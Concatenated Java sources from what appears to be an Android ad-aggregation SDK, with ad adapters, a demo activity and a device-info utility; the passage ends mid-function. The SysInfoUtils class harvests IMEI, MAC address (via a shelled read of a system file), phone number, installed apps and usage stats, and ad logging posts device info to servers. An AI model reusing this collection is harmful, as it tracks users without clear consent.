private ViewGroup mViewContain;
public static void startActivity(Activity activity) {
Intent intent = new Intent(activity, NativeAdActivity.class);
activity.startActivity(intent);
}
@Override
protected int getLayoutId() {
return R.layout.activity_native;
}
@Override
protected void initView() {
super.initView();
mViewContain = findViewById(R.id.llContainer);
findViewById(R.id.tvLoad).setOnClickListener(
view -> showAd()
);
}
@Override
protected void initData() {
initAd(TYPE_NATIVE);
}
@Override
public void showAd() {
super.showAd();
saveAd(TYPE_NATIVE);
AdConfig adConfig = new AdConfig.Builder()
.setPlaceId(mPid)
.setWidth(mWidth)
.setHeight(mHeight)
.build();
mAllInNativeAd = new AllInNativeAd(this, mViewContain, adConfig, new AllInAdListener() {
@Override
public void onAdFailed(AdError error) {
AllInToast.show(NativeAdActivity.this, error.getMessage());
}
@Override
public void onAdClick() {
}
@Override
public void onAdReady() {
mAllInNativeAd.showAd();
}
@Override
public void onAdShow() {
}
@Override
public void onAdClose() {
}
});
}
@Override
protected void onDestroy() {
super.onDestroy();
if (mAllInNativeAd != null) {
mAllInNativeAd.destroyAd();
}
}
}
<file_sep>package com.tuiyi.allin.third.jd;
import android.app.Application;
import com.jd.ad.sdk.JadYunSdk;
import com.jd.ad.sdk.JadYunSdkConfig;
import com.tuiyi.allin.utlis.AllInLog;
/**
* 可以用一个单例来保存JdAdManager实例,在需要初始化sdk的时候调用
*/
public class JdAdManagerHolder {
private static boolean sInit;
public static void init(Application application, String appId) {
doInit(application, appId);
}
private static void doInit(Application application, String appId) {
if (!sInit) {
JadYunSdk.init(application, buildConfig(appId));
sInit = true;
}
}
private static JadYunSdkConfig buildConfig(String appId) {
return new JadYunSdkConfig.Builder()
.setAppId(appId)
.setEnableLog(AllInLog.getLogEnable())
.build();
}
}
<file_sep>package com.tuiyi.allin.core;
/**
* @author liuhuijie
* @date 2020/11/15
*/
public interface AdCallback {
/**
* 加载广告失败
* @param error 错误信息
*/
void onAdFailed(AdError error);
/**
* 点击广告
*/
void onAdClick();
/**
* 广告加载成功
*/
void onAdReady();
/**
* 广告展示
*/
void onAdShow();
/**
* 广告关闭
*/
void onAdClose();
}
<file_sep>package com.tuiyi.allin.core;
import android.app.Activity;
import android.text.TextUtils;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.entity.AdSourceEntity;
import com.tuiyi.allin.core.net.NetApi;
import com.tuiyi.allin.core.net.NetManager;
import com.tuiyi.allin.utlis.AllInLog;
import com.tuiyi.allin.utlis.SysInfoUtils;
import org.json.JSONObject;
/**
* @author liuhuijie
* @date 2020/11/15
*/
public abstract class AbstractAd implements IAd {
protected Activity mActivity;
protected AdConfig mAdConfig;
protected AdEntity mAdEntity;
protected int mCurrentAdPos;
protected AdCallback mAdCallback;
protected OnAdReloadListener mOnAdReloadListener;
public abstract void customAdMessage(AdEntity adEntity);
public void setAdConfig(Activity activity, AdConfig adConfig, AdEntity adEntity, AdCallback adCallback, OnAdReloadListener listener) {
this.mAdConfig = adConfig;
this.mActivity = activity;
this.mAdCallback = adCallback;
this.mAdEntity = adEntity;
this.mOnAdReloadListener = listener;
customAdMessage(adEntity);
}
public void setCurrentAdPos(int currentAdPos) {
this.mCurrentAdPos = currentAdPos;
}
public void removeAdCallBack() {
this.mAdCallback = null;
}
public final void notifyAdClick() {
if (mAdCallback != null) {
netLog(NetApi.CLICK_LOG);
mAdCallback.onAdClick();
}
}
public final void notifyAdReady() {
if (mAdCallback != null) {
netLog(NetApi.REQUEST_LOG);
mAdCallback.onAdReady();
}
}
public final void notifyAdClose() {
if (mAdCallback != null) {
mAdCallback.onAdClose();
}
}
//广告展示失败 加载下一条
public final void notifyAdFail(AdError adError) {
if (mAdCallback != null && mOnAdReloadListener != null) {
netLog(NetApi.REQUEST_FAIL_LOG);
if (mAdEntity != null && mAdEntity.adsource != null && mAdEntity.adsource.size() > ++mCurrentAdPos) {
mAdConfig.appId = mAdEntity.adsource.get(mCurrentAdPos).appid;
mAdConfig.thirdPid = mAdEntity.adsource.get(mCurrentAdPos).placeid;
mAdConfig.className = mAdEntity.adsource.get(mCurrentAdPos).classname;
mAdConfig.json=mAdEntity.adsource.get(mCurrentAdPos).json;
mOnAdReloadListener.onAdReload(mActivity, mAdConfig, mCurrentAdPos, mAdEntity.adsource.get(mCurrentAdPos));
} else {
adFailBack(adError);
}
} else {
adFailBack(adError);
}
}
private final void adFailBack(AdError adError) {
mAdCallback.onAdFailed(adError);
}
public final void notifyAdShow() {
if (mAdCallback != null) {
netLog(NetApi.SHOW_LOG);
mAdCallback.onAdShow();
}
}
/**
* 广告日志
*
* @param url 请求地址
*/
protected void netLog(String url) {
if (mActivity == null || mAdConfig == null || mAdEntity == null) {
return;
}
//获取日志实体
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("placeid", mAdConfig.placeId);
jsonObject.put("bid", mAdEntity.bid);
jsonObject.put("deviceinfo", SysInfoUtils.getDeviceInfo(mActivity));
if (mAdEntity.adsource != null && mAdEntity.adsource.get(mCurrentAdPos) != null) {
JSONObject sourceObj = new JSONObject();
AdSourceEntity adSourceEntity = mAdEntity.adsource.get(mCurrentAdPos);
if (!TextUtils.isEmpty(mAdEntity.adsource.get(mCurrentAdPos).json)){
return;
}
sourceObj.put("sourceid", adSourceEntity.sourceid);
sourceObj.put("appid", adSourceEntity.appid);
sourceObj.put("placeid", adSourceEntity.placeid);
sourceObj.put("type", adSourceEntity.type);
jsonObject.put("adsource", sourceObj);
}
} catch (Exception e) {
AllInLog.i(e.getMessage());
e.printStackTrace();
}
new NetManager().doPost(url, jsonObject.toString());
}
}
<file_sep>package com.tuiyi.allin.third.jd;
import android.view.View;
import com.jd.ad.sdk.imp.JadListener;
import com.jd.ad.sdk.imp.interstitial.InterstitialAd;
import com.jd.ad.sdk.work.JadPlacementParams;
import com.tuiyi.allin.core.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.insertad.CustomInsertAd;
import com.tuiyi.allin.utlis.AllInLog;
/**
* Jd插屏广告
*
* @author liuhuijie
* @date 12/19/20
*/
public class JdInsertAd extends CustomInsertAd {
private InterstitialAd interstitialAd;
private boolean isRender;
public JdInsertAd() {
}
@Override
public void loadAd() {
JdAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
JadPlacementParams jadSlot = new JadPlacementParams.Builder()
.setPlacementId(mAdConfig.thirdPid)
.setSize(mAdConfig.width, mAdConfig.height)
.setSupportDeepLink(false)
.build();
interstitialAd = new InterstitialAd(mActivity, jadSlot, new JadListener() {
@Override
public void onAdLoadSuccess() {
AllInLog.i("InterstitialAd Load Success");
}
@Override
public void onAdLoadFailed(int code, String error) {
AllInLog.i("InterstitialAd Load onAdLoadFailed " + error);
notifyAdFail(new AdError(code, error));
}
@Override
public void onAdRenderSuccess(View view) {
AllInLog.i("InterstitialAd Render Success");
isRender = true;
notifyAdReady();
}
@Override
public void onAdRenderFailed(int code, String error) {
AllInLog.i("InterstitialAd Render Failed " + error);
notifyAdFail(new AdError(code, error));
}
@Override
public void onAdClicked() {
AllInLog.i("InterstitialAd Clicked");
notifyAdClick();
}
@Override
public void onAdExposure() {
AllInLog.i("InterstitialAd onAdExposure");
notifyAdShow();
}
@Override
public void onAdDismissed() {
AllInLog.i("InterstitialAd Dismissed");
notifyAdClose();
}
});
interstitialAd.loadAd();
}
@Override
public void showAd() {
if (interstitialAd == null) {
return;
}
if (isRender) {
interstitialAd.showAd(null);
}
}
@Override
public void destroyAd() {
if (interstitialAd != null) {
interstitialAd.destroy();
interstitialAd = null;
}
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
}
<file_sep>package com.tuiyi.allin.utlis;
import android.content.Context;
import com.tuiyi.allin.core.database.AllInDatabase;
import com.tuiyi.allin.core.entity.AdSourceEntity;
/**
* 本地缓存工具
*
* @author liuhuijie
* @date 1/7/21
*/
public class LocalUtils {
//24小时
public final static long DAY_TIME = 24 * 60 * 60 * 1000l;
//1个小时
public final static long HOUR_TIME = 60 * 60 * 1000l;
/**
* 储存展示记录
*
* @param context
* @param unitId
*/
public static void insertAd(Context context, String unitId) {
try {
AllInDatabase allInDatabase = new AllInDatabase(context);
long time = System.currentTimeMillis();
allInDatabase.insert(unitId, time);
} catch (Exception e) {
AllInLog.e(e.getMessage());
}
}
/**
* 删除24小时之前的记录
*
* @param context
*/
public static void deleteOutTimeAd(Context context) {
try {
AllInDatabase allInDatabase = new AllInDatabase(context);
long time = System.currentTimeMillis() - DAY_TIME;
allInDatabase.delete(time);
} catch (Exception e) {
AllInLog.e(e.getMessage());
}
}
/**
* 获取特定时长广告展示次数
*
* @param unitId 广告唯一id appId+placeId
* @param time 时长
*/
public static int getAdCount(Context context, String unitId, long time) {
int count = 0;
try {
AllInDatabase allInDatabase = new AllInDatabase(context);
count = allInDatabase.getCountByTime(unitId, time);
} catch (Exception e) {
AllInLog.e(e.getMessage());
}
return count;
}
/**
* 获取最近一次展示时间
*
* @param context
* @param unitId
*/
public static long getLastShowTime(Context context, String unitId) {
long time = 0;
try {
AllInDatabase allInDatabase = new AllInDatabase(context);
time = allInDatabase.getLastTime(unitId);
} catch (Exception e) {
AllInLog.e(e.getMessage());
}
return time;
}
/**
* 判断广告资源是否可用
*
* @param context
* @param adSourceEntity
* @return
*/
public static boolean getAdIsAvailable(Context context, AdSourceEntity adSourceEntity) {
deleteOutTimeAd(context);
long lastShowTime = getLastShowTime(context, getUnitId(adSourceEntity));
if (adSourceEntity.showinterval > 0 && lastShowTime > 0) {
long passTime = System.currentTimeMillis() - lastShowTime;
if (adSourceEntity.showinterval * 1000 > passTime) {
//小于展示间隔
return false;
}
}
long currentTime = System.currentTimeMillis();
if (adSourceEntity.hourmax > 0) {
int hourLimitTimes = getAdCount(context, getUnitId(adSourceEntity), currentTime - HOUR_TIME);
if (hourLimitTimes >= adSourceEntity.hourmax) {
//单位小时已经展示最大次数
return false;
}
}
if (adSourceEntity.daymax >0) {
int dayLimitTimes = getAdCount(context, getUnitId(adSourceEntity), currentTime - DAY_TIME);
if (dayLimitTimes>=adSourceEntity.daymax) {
//单位日已经展示最大次数
return false;
}
}
return true;
}
public static String getUnitId(AdSourceEntity adSourceEntity) {
if (adSourceEntity == null) {
return null;
}
return adSourceEntity.appid + adSourceEntity.placeid;
}
}
<file_sep>package com.tuiyi.allin.third.baidu;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.nativead.CustomNativeAd;
/**
* 百度原生
* @author liuhuijie
* @date 12/21/20
*/
public class BdNativeAd extends CustomNativeAd {
public BdNativeAd(){
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
@Override
public void loadAd() {
}
@Override
public void showAd() {
}
@Override
public void destroyAd() {
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
}
<file_sep>package com.tuiyi.test.base;
import android.text.TextUtils;
import android.widget.EditText;
import com.tuiyi.allin.user.AdConstants;
import com.tuiyi.allin.utlis.AllInToast;
import com.tuiyi.test.PreferencesUtils;
import com.tuiyi.test.R;
/**
* 基础activity
*
* @author liuhuijie
* @date 12/24/20
*/
public abstract class BaseAdActivity extends BaseActivity {
public final static int TYPE_SPLASH = 1;
public final static int TYPE_INSERT = 2;
public final static int TYPE_BANNER = 3;
public final static int TYPE_NATIVE = 4;
protected EditText mEtPid, mEtWidth, mEtHeight;
protected int mWidth, mHeight;
protected String mPid;
@Override
protected void initView() {
mEtPid = findViewById(R.id.etPid);
mEtWidth = findViewById(R.id.etWidth);
mEtHeight = findViewById(R.id.etHeight);
}
public void initAd(int type) {
String pidKey = "";
String defaultPidValue = "";
String heightKey = "";
String widthKey = "";
switch (type) {
case TYPE_SPLASH:
pidKey = PreferencesUtils.SPLASH_PID;
defaultPidValue = AdConstants.NORMAL_SPLASH_ID;
heightKey = PreferencesUtils.SPLASH_HEIGHT;
widthKey = PreferencesUtils.SPLASH_WIDTH;
break;
case TYPE_BANNER:
pidKey = PreferencesUtils.BANNER_PID;
defaultPidValue = AdConstants.NORMAL_BANNER_ID;
heightKey = PreferencesUtils.BANNER_HEIGHT;
widthKey = PreferencesUtils.BANNER_WIDTH;
break;
case TYPE_INSERT:
pidKey = PreferencesUtils.INSERT_PID;
defaultPidValue = AdConstants.NORMAL_INSERT_ID;
heightKey = PreferencesUtils.INSERT_HEIGHT;
widthKey = PreferencesUtils.INSERT_WIDTH;
break;
case TYPE_NATIVE:
pidKey = PreferencesUtils.NATIVE_PID;
defaultPidValue = AdConstants.NORMAL_NATIVE_ID;
heightKey = PreferencesUtils.NATIVE_HEIGHT;
widthKey = PreferencesUtils.NATIVE_WIDTH;
break;
default:
break;
}
mPid = PreferencesUtils.get(pidKey, defaultPidValue).toString();
mEtPid.setText(mPid);
mHeight = Integer.parseInt(PreferencesUtils.get(heightKey, -1).toString());
mWidth = Integer.parseInt(PreferencesUtils.get(widthKey, -1).toString());
mEtWidth.setText(String.valueOf(mWidth));
mEtHeight.setText(String.valueOf(mHeight));
}
public void saveAd(int type) {
String pidKey = "";
String heightKey = "";
String widthKey = "";
switch (type) {
case TYPE_SPLASH:
pidKey = PreferencesUtils.SPLASH_PID;
heightKey = PreferencesUtils.SPLASH_HEIGHT;
widthKey = PreferencesUtils.SPLASH_WIDTH;
break;
case TYPE_BANNER:
pidKey = PreferencesUtils.BANNER_PID;
heightKey = PreferencesUtils.BANNER_HEIGHT;
widthKey = PreferencesUtils.BANNER_WIDTH;
break;
case TYPE_INSERT:
pidKey = PreferencesUtils.INSERT_PID;
heightKey = PreferencesUtils.INSERT_HEIGHT;
widthKey = PreferencesUtils.INSERT_WIDTH;
break;
case TYPE_NATIVE:
pidKey = PreferencesUtils.NATIVE_PID;
heightKey = PreferencesUtils.NATIVE_HEIGHT;
widthKey = PreferencesUtils.NATIVE_WIDTH;
break;
default:
break;
}
if (!TextUtils.isEmpty(mPid)) {
PreferencesUtils.put(pidKey, mPid);
PreferencesUtils.put(widthKey, mWidth);
PreferencesUtils.put(heightKey, mHeight);
}
}
public void showAd() {
mPid = mEtPid.getText().toString().trim();
if (TextUtils.isEmpty(mPid)) {
AllInToast.show(this, "请输入位置id");
return;
}
mHeight = Integer.parseInt(mEtHeight.getText().toString().trim());
mWidth = Integer.parseInt(mEtWidth.getText().toString().trim());
}
}
<file_sep>package com.tuiyi.allin.third.gdt;
import android.widget.TextView;
import com.qq.e.ads.splash.SplashAD;
import com.qq.e.ads.splash.SplashADListener;
import com.qq.e.comm.util.AdError;
import com.tuiyi.allin.core.entity.AdEntity;
import com.tuiyi.allin.core.splashad.CustomSplashAd;
/**
* 广点通 闪屏
*
* @author liuhuijie
* @date 12/6/20
*/
public class GdtSplashAd extends CustomSplashAd {
private SplashAD mSplashAD;
private SplashADListener mSplashADListener;
private TextView mSkipView;
public GdtSplashAd() {
}
@Override
public void customAdMessage(AdEntity adEntity) {
}
@Override
public void loadAd() {
GdtAdManagerHolder.init(mActivity.getApplication(), mAdConfig.appId);
mSplashADListener = new SplashADListener() {
@Override
public void onADClicked() {
notifyAdClick();
}
@Override
public void onADDismissed() {
notifyAdClose();
}
@Override
public void onADExposure() {
notifyAdShow();
}
@Override
public void onADLoaded(long l) {
}
@Override
public void onADPresent() {
}
@Override
public void onADTick(long l) {
}
@Override
public void onNoAD(AdError adError) {
notifyAdFail(new com.tuiyi.allin.core.AdError(adError.getErrorCode(), adError.getErrorMsg()));
}
};
//6030789902606508
mSplashAD = new SplashAD(mActivity,mSkipView, mAdConfig.thirdPid, mSplashADListener, 5000);
notifyAdReady();
}
@Override
public void showAd() {
if (mSplashAD != null) {
mSplashAD.fetchAndShowIn(mViewContainer);
}
}
@Override
public void destroyAd() {
}
@Override
public void onPauseAd() {
}
@Override
public void onResumeAd() {
}
}
<file_sep>package com.tuiyi.allin.utlis;
import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.content.res.Configuration;
import android.hardware.Sensor;
import android.hardware.SensorEvent;
import android.hardware.SensorEventListener;
import android.hardware.SensorManager;
import android.location.Location;
import android.location.LocationManager;
import android.media.AudioManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.DisplayMetrics;
import com.tuiyi.allin.oaid.OAIdManager;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.Calendar;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import static android.content.Context.USAGE_STATS_SERVICE;
import static android.content.Context.WIFI_SERVICE;
public class SysInfoUtils {
public static HashMap<String, Double> gps=new HashMap<>();
public static String getIPAddress(Context context) {
NetworkInfo info = ((ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE)).getActiveNetworkInfo();
if (info != null && info.isConnected()) {
if (info.getType() == ConnectivityManager.TYPE_MOBILE) {//当前使用2G/3G/4G网络
try {
//Enumeration<NetworkInterface> en=NetworkInterface.getNetworkInterfaces();
for (Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements(); ) {
NetworkInterface intf = en.nextElement();
for (Enumeration<InetAddress> enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements(); ) {
InetAddress inetAddress = enumIpAddr.nextElement();
if (!inetAddress.isLoopbackAddress() && inetAddress instanceof Inet4Address) {
return inetAddress.getHostAddress();
}
}
}
} catch (SocketException e) {
e.printStackTrace();
}
} else if (info.getType() == ConnectivityManager.TYPE_WIFI) {//当前使用无线网络
WifiManager wifiManager = (WifiManager) context.getApplicationContext().getSystemService(WIFI_SERVICE);
WifiInfo wifiInfo = wifiManager.getConnectionInfo();
return intIP2StringIP(wifiInfo.getIpAddress());
}
} //当前无网络连接]
return null;
}
/**
* 将得到的int类型的IP转换为String类型
*
* @param ip
* @return
*/
public static String intIP2StringIP(int ip) {
return (ip & 0xFF) + "." +
((ip >> 8) & 0xFF) + "." +
((ip >> 16) & 0xFF) + "." +
(ip >> 24 & 0xFF);
}
/**
* 获取应用程序名称
*/
public static String getAppName(Context context) {
String appName = getAppName2(context);
if (!TextUtils.isEmpty(appName)) {
return appName;
}
try {
PackageManager packageManager = context.getPackageManager();
PackageInfo packageInfo = packageManager.getPackageInfo(
context.getPackageName(), 0);
int labelRes = packageInfo.applicationInfo.labelRes;
return context.getResources().getString(labelRes);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private static String getAppName2(Context context) {
if (context == null) {
return null;
}
try {
PackageManager packageManager = context.getPackageManager();
return String.valueOf(packageManager.getApplicationLabel(context.getApplicationInfo()));
} catch (Exception ignored) {
} catch (Throwable e) {
// Log.i(“chwn”,"getAppName >> e:" + e.toString());
}
return null;
}
/**
* [获取应用程序版本名称信息]
*
* @param context
* @return 当前应用的版本名称
*/
public static String getVersionName(Context context) {
try {
PackageManager packageManager = context.getPackageManager();
PackageInfo packageInfo = packageManager.getPackageInfo(
context.getPackageName(), 0);
return packageInfo.versionName;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
/**
* [获取应用程序版本名称信息]
*
* @param context
* @return 当前应用的版本名称
*/
public static int getVersionCode(Context context) {
try {
PackageManager packageManager = context.getPackageManager();
PackageInfo packageInfo = packageManager.getPackageInfo(
context.getPackageName(), 0);
return packageInfo.versionCode;
} catch (Exception e) {
e.printStackTrace();
}
return 0;
}
/**
* [获取应用程序版本名称信息]
*
* @param context
* @return 当前应用的版本名称
*/
public static String getPackageName(Context context) {
try {
PackageManager packageManager = context.getPackageManager();
PackageInfo packageInfo = packageManager.getPackageInfo(
context.getPackageName(), 0);
return packageInfo.packageName;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static String getAndroidId(Context context) {
return Settings.Secure.getString(context.getContentResolver(),
Settings.Secure.ANDROID_ID);
}
public static String getMac(Context context) {
String mac = "";
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
mac = getMacDefault(context);
} else if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) {
mac = getMachineHardwareAddress();
if (TextUtils.isEmpty(mac)) {
mac = getMacAddress();
}
} else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
mac = getMachineHardwareAddress();
}
return mac;
}
/**
* Android 6.0 之前(不包括6.0)获取mac地址
* 必须的权限 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
*
* @param context * @return
*/
public static String getMacDefault(Context context) {
String mac = "";
if (context == null) {
return mac;
}
WifiManager wifi = (WifiManager) context.getApplicationContext().getSystemService(WIFI_SERVICE);
WifiInfo info = null;
try {
info = wifi.getConnectionInfo();
} catch (Exception e) {
e.printStackTrace();
}
if (info == null) {
return null;
}
mac = info.getMacAddress();
if (!TextUtils.isEmpty(mac)) {
mac = mac.toUpperCase(Locale.ENGLISH);
}
return mac;
}
/**
* Android 6.0-Android 7.0 获取mac地址
*/
public static String getMacAddress() {
String macSerial = null;
String str = "";
try {
Process pp = Runtime.getRuntime().exec("cat/sys/class/net/wlan0/address");
InputStreamReader ir = new InputStreamReader(pp.getInputStream());
LineNumberReader input = new LineNumberReader(ir);
while (null != str) {
str = input.readLine();
if (str != null) {
macSerial = str.trim();//去空格
break;
}
}
} catch (Exception ex) {
// 赋予默认值
ex.printStackTrace();
}
return macSerial;
}
/* *//*
public static String getMacFromHardware() {
try {
Enumeration<NetworkInterface> all = (Enumeration<NetworkInterface>) Collections.list(NetworkInterface.getNetworkInterfaces());
for (NetworkInterface nif : all) {
if (!nif.name.equals("wlan0", ignoreCase = true))
continue;
byte[] macBytes = nif.getHardwareAddress();
if (macBytes == null) return "";
StringBuilder res1 = new StringBuilder();
for (Byte b : macBytes) {
res1.append(String.format("%02X:", b));
}
if (!TextUtils.isEmpty(res1)) {
res1.deleteCharAt(res1.length - 1);
}
return res1.toString();
}
} catch (Exception e) {
e.printStackTrace();
}
return "";
}*/
/**
* 获取设备HardwareAddress地址
*
* @return
*/
public static String getMachineHardwareAddress() {
Enumeration<NetworkInterface> interfaces = null;
try {
interfaces = NetworkInterface.getNetworkInterfaces();
} catch (SocketException e) {
e.printStackTrace();
}
String hardWareAddress = null;
NetworkInterface iF;
if (interfaces == null) {
return null;
}
while (interfaces.hasMoreElements()) {
iF = interfaces.nextElement();
try {
hardWareAddress = bytesToString(iF.getHardwareAddress());
if (hardWareAddress != null)
break;
} catch (SocketException e) {
e.printStackTrace();
}
}
return hardWareAddress;
}
/***
* byte转为String
*
* @param bytes
* @return
*/
private static String bytesToString(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return null;
}
StringBuilder buf = new StringBuilder();
for (byte b : bytes) {
buf.append(String.format("%02X:", b));
}
if (buf.length() > 0) {
buf.deleteCharAt(buf.length() - 1);
}
return buf.toString();
}
public static boolean checkPermission(String permissionname, Context act) {
PackageManager pm = act.getPackageManager();
return (PackageManager.PERMISSION_GRANTED == pm.checkPermission(permissionname, act.getPackageName()));
}
public static String getImei(Context context) {
String imeiRes = null;
// if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, context))
// if (ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED)
{
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
imeiRes = telephonyManager.getDeviceId();
} catch (Exception e) {
// e.printStackTrace();
// WLog.d(e.toString());
}
if (imeiRes == null || imeiRes.trim().length() == 0 || imeiRes.matches("0+")) {
imeiRes = "";//+ (new Random(System.currentTimeMillis())).nextLong();
}
}
if (imeiRes == null) {
imeiRes = "";
}
// WLog.d("#"+imeiRes);
if (TextUtils.isEmpty(imeiRes)) {
imeiRes = getIMei(context);
}
return imeiRes;
}
/**
* @param context
* @return
*/
@SuppressLint("MissingPermission")
public static String getIMei(Context context) {
TelephonyManager manager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
try {
Method method = manager.getClass().getMethod("getImei", int.class);
String imei1 = (String) method.invoke(manager, 0);
String imei2 = (String) method.invoke(manager, 1);
if (TextUtils.isEmpty(imei2)) {
if (imei1 == null) {
imei1 = "";
}
return imei1;
}
if (!TextUtils.isEmpty(imei1)) {
//因为手机卡插在不同位置,获取到的imei1和imei2值会交换,所以取它们的最小值,保证拿到的imei都是同一个
String imei = "";
if (imei1.compareTo(imei2) <= 0) {
imei = imei1;
} else {
imei = imei2;
}
if (imei == null) {
imei = "";
}
return imei;
}
} catch (Exception e) {
//e.printStackTrace();
}
return "";
}
/**
* 获取手机型号
*
* @return the model
*/
public static String getModel() {
return Build.MODEL;
}
/**
* 获取手机品牌
*
* @return the vENDOR
*/
public static String getBrand() {
return Build.BRAND;
}
//获取电话号码
public static String getPhoneNumber(Context context) {
String nativePhoneNumber = "";
if (checkPermission(Manifest.permission.ACCESS_FINE_LOCATION, context)) {
try {
TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
nativePhoneNumber = telephonyManager.getLine1Number();
} catch (Exception e) {
// e.printStackTrace();
}
}
return nativePhoneNumber;
}
/**
* 判断当前设备是手机还是平板,代码来自 Google I/O App for Android
*
* @param context
* @return 平板返回 True,手机返回 False
*/
public static String isTablet(Context context) {
if ((context.getResources().getConfiguration().screenLayout & Configuration.SCREENLAYOUT_SIZE_MASK) >= Configuration.SCREENLAYOUT_SIZE_LARGE) {
return "Y";
} else {
return "N";
}
}
//获取手机安装应用列表信息
public static JSONArray getLocalInstallAppList(PackageManager packageManager) {
JSONArray array = new JSONArray();
try {
List packageInfos = packageManager.getInstalledPackages(0);
for (int i = 0; i < packageInfos.size(); i++) {
PackageInfo packageInfo = (PackageInfo) packageInfos.get(i);
//过滤掉系统app
if ((ApplicationInfo.FLAG_SYSTEM & packageInfo.applicationInfo.flags) != 0) {
continue;
}
JSONObject object = new JSONObject();
object.put("versionName", packageInfo.versionName);
object.put("versionCode", packageInfo.versionCode + "");
object.put("firstInstallTime", packageInfo.firstInstallTime + "");
object.put("lastUpdateTime", packageInfo.lastUpdateTime + "");
object.put("packageName", packageInfo.packageName);
object.put("appName", packageInfo.applicationInfo.loadLabel(packageManager).toString());
array.put(object);
}
} catch (Exception ignored) {
}
return array;
}
//5.0之前
private static JSONArray getNearUseApp(Context context) {
JSONArray array = new JSONArray();
PackageManager pm = context.getPackageManager();
ActivityManager mActivityManager = (ActivityManager) context
.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RecentTaskInfo> appList4 = mActivityManager
.getRecentTasks(10, ActivityManager.RECENT_WITH_EXCLUDED);//参数,前一个是你要取的最大数,后一个是状态
for (ActivityManager.RecentTaskInfo running : appList4) {
Intent intent = running.baseIntent;
ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
if (resolveInfo != null) {
JSONObject object = new JSONObject();
try {
object.put("packageName", resolveInfo.activityInfo.packageName);
object.put("appName", resolveInfo.loadLabel(pm).toString());
} catch (JSONException e) {
e.printStackTrace();
}
}
}
return array;
}
/* //5.0之后
@TargetApi(Build.VERSION_CODES.LOLLIPOP)
private static String getNearUseApp2(Context context) {
PackageManager pm = context.getPackageManager();
ActivityManager mActivityManager = (ActivityManager) context
.getSystemService(Context.ACTIVITY_SERVICE);
// List<ActivityManager.RecentTaskInfo> appList4 = mActivityManager
// .getRecentTasks(10, ActivityManager.RECENT_WITH_EXCLUDED);//参数,前一个是你要取的最大数,后一个是状态
List<ActivityManager.AppTask> tasks = mActivityManager.getAppTasks();
for (ActivityManager.AppTask task : tasks) {
ActivityManager.RecentTaskInfo taskInfo = task.getTaskInfo();
Intent intent = taskInfo.baseIntent;
ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
if (resolveInfo != null) {
System.out.println(resolveInfo.activityInfo.packageName + "-hhhhhh");//获取应用包名
System.out.println(resolveInfo.loadLabel(pm).toString() + "-nhhhhh");//获取应用名
// System.out.println(resolveInfo.loadIcon(pm) "n");//获取应用头标
}
}
return "";
}*/
private static JSONArray getAppStatus(Context context) {
Calendar beginCal = Calendar.getInstance();
beginCal.set(2000, 1, 1);
Calendar endCal = Calendar.getInstance();
UsageStatsManager manager = (UsageStatsManager) context.getApplicationContext().getSystemService(USAGE_STATS_SERVICE);
List<UsageStats> stats = manager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, beginCal.getTimeInMillis(), endCal.getTimeInMillis());
JSONArray array = new JSONArray();
for (UsageStats us : stats) {
try {
PackageManager pm = context.getApplicationContext().getPackageManager();
ApplicationInfo applicationInfo = pm.getApplicationInfo(us.getPackageName(), PackageManager.GET_META_DATA);
if ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) <= 0) {
//SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
// String t = format.format(new Date(us.getLastTimeUsed()));
//System.out.println(pm.getApplicationLabel(applicationInfo) + "======" + us.getTotalTimeInForeground());
JSONObject object = new JSONObject();
object.put("packageName", us.getPackageName());
